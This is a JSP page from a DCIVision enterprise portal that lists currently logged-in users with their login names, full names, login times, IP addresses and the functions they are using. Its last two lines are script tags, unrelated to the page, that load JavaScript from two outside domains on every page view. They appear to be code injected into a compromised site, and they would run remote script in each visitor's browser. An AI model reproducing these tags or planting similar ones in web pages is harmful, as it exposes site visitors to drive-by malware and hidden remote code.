<%
/*
 * @(#)ListOnlineUser.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListOnlineUser.jsp

  This is a ListOnlineUser page.  It shows the OnlineUser in EIP.

    @author             Phoebe Wong
    @company            DCIVision Ltd
    @creation date      31/07/2003
    @version            $Revision: 1.11.8.4 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listOnlineUserForm" scope="request" class="com.dcivision.framework.web.ListOnlineUserForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "onlineUserList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"log.columnheader.login_name", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.full_name", GlobalConstant.NOT_AVAILABLE},
                            {"log.columnheader.login_datetime", GlobalConstant.NOT_AVAILABLE},
                            {"log.columnheader.ip_address", GlobalConstant.NOT_AVAILABLE},
                            {"log.columnheader.using_function", GlobalConstant.NOT_AVAILABLE}
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="log/ListOnlineUser" method="GET">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<layout:listBar>
    <div class="button">
      <html:colheaderButton label="common.label.refresh" link="ListOnlineUser.do"/>
    </div>
    </layout:listBar>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listOnlineUserForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listOnlineUserForm.getSortAttribute()%>" sortOrder="<%=listOnlineUserForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="onlineUser" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', -1);">
    <td nowrap>
    <a><bean:write name='onlineUser' property='loginName'/></a>
    </td>
    <td><%=UserInfoFactory.getUserFullName(((AuditLoginOut)onlineUser).getUserRecordID())%></td>
    <td nowrap><bean:write name='onlineUser' property='loginDatetime' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><bean:write name='onlineUser' property='IPAddress'/></td>
    <td>
    <%
      SysFunction sysFunc = applicationContainer.getUsingFunction(((AuditLoginOut)onlineUser).getUserRecordID());
      if (sysFunc!=null) {
        out.println(sessionContainer.getFunctionNameByFunctionID(sysFunc.getParentID()));
        out.println("&gt;");
        out.println(sessionContainer.getFunctionName(sysFunc));
      } else {
        out.println(GlobalConstant.PERSONAL_HOME);
      }
    %>
    </td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listOnlineUserForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>